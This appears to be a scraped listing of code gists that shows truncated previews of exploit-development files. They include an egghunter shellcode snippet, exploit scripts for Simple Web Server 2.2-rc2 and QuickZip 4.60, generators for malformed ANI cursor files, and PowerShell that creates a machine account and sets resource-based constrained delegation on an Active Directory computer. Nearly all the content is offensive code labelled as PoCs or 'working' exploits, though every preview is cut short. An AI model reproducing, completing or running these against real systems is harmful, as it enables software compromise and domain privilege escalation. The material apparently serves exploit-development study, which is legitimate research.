This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Author: Matt Miller (@epakskape) | |
// Taken from http://www.hick.org/~mmiller/shellcode/win32/egghunt_syscall.c | |
entry: | |
// You could put an xor edx, edx here to make the search somewhat | |
// quicker, but given page aligned searching, it really isn't that bad | |
// to omit it, and it saves two bytes. | |
loop_inc_page: | |
or dx, 0x0fff // Add PAGE_SIZE-1 to edx | |
loop_inc_one: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Skeleton exploit code for Simple Web Server 2.2-rc2 | |
# Author: Prashant Kumar (@notsoshant) | |
import os | |
import sys | |
import socket | |
ip = "127.0.0.1" | |
socket = socket.socket(socket.AF_INET , socket.SOCK_STREAM) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Working exploit code for Simple Web Server 2.2-rc2 | |
# Author: Prashant Kumar (@notsoshant) | |
import os | |
import sys | |
import socket | |
ip = "127.0.0.1" | |
socket = socket.socket(socket.AF_INET , socket.SOCK_STREAM) | |
socket.connect((ip , 80)) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
poc = b"\x52\x49\x46\x46" + b"\x90\x00\x00\x00" + b"\x41\x43\x4f\x4e" + b"\x61\x6e\x69\x68" | |
poc += b"\x24\x00\x00\x00" + b"\x24\x00\x00\x00" + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" | |
poc += b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00" | |
poc += b"\x00\x00\x00\x00" + b"\x01\x00\x00\x00" + b"\x61\x6E\x69\x68" + b"\x58\x00\x00\x00" | |
poc += b"\x41\x41\x41\x41" + b"\x41\x41\x41\x41" + b"\x41\x41\x41\x41" + b"\x41\x41\x41\x41" | |
poc += b"\x41\x41\x41\x41" + b"\x41\x41\x41\x41" + b"\x41\x41\x41\x41" + b"\x41\x41\x41\x41" | |
poc += b"\x00\x41\x41\x41" + b"\x41\x41\x41\x41" + b"\x41\x41\x41\x41" + b"\x41\x41\x41\x41" | |
poc += b"\x41\x41\x41\x41" + b"\x41\x41\x41\x41" + b"\x41\x41\x41\x41" + b"\x00\x00\x00\x00" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import struct | |
riff = b"RIFF" | |
acon = b"ACON" | |
# Valid anih chunk | |
valid_anih = b"\x61\x6e\x69\x68" + b"\x24\x00\x00\x00" + b"\x24\x00\x00\x00" + b"\x02\x00\x00\x00" # "anih" + size + HeaderSize + NumFrames | |
valid_anih += b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00" # NumSteps + Width + Height + BitCount |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import struct | |
riff = b"RIFF" | |
acon = b"ACON" | |
# Valid anih chunk | |
valid_anih = b"\x61\x6e\x69\x68" + b"\x24\x00\x00\x00" + b"\x24\x00\x00\x00" + b"\x02\x00\x00\x00" # "anih" + size + HeaderSize + NumFrames | |
valid_anih += b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00" # NumSteps + Width + Height + BitCount |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# QuickZip 4.60 - PoC to replicate crash | |
# Author: Prashant Kumar | |
filename="exploit.zip" | |
ldf_header = ("\x50\x4B\x03\x04\x14\x00\x00" | |
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" | |
"\x00\x00\x00\x00\x00\x00\x00\x00" | |
"\xe4\x0f" # file size |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# QuickZip 4.60 - Script to create ZIP file to find bad characters | |
# Author: Prashant Kumar | |
filename="exploit.zip" | |
ldf_header = ("\x50\x4B\x03\x04\x14\x00\x00" | |
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" | |
"\x00\x00\x00\x00\x00\x00\x00\x00" | |
"\xe4\x0f" # file size |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# QuickZip 4.60 - Working exploit | |
# Author: Prashant Kumar | |
filename="exploit.zip" | |
ldf_header = ("\x50\x4B\x03\x04\x14\x00\x00" | |
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" | |
"\x00\x00\x00\x00\x00\x00\x00\x00" | |
"\xe4\x0f" # file size |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Add Machine account | |
New-MachineAccount -MachineAccount STRANGE -Password $(ConvertTo-SecureString 'Strange@123' -AsPlainText -Force) | |
# Add STRANGE$ in msDS-AllowedToActOnBehalfOfOtherIdentity attribute of QUARK$ | |
$S4UIdentity = "COSMOS\STRANGE$" | |
$IdentitySID = ((New-Object -TypeName System.Security.Principal.NTAccount -ArgumentList $S4UIdentity).Translate([System.Security.Principal.SecurityIdentifier])).Value | |
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($IdentitySID))" | |
$SDBytes = New-Object byte[] ($SD.BinaryLength) | |
$SD.GetBinaryForm($SDBytes, 0) |
OlderNewer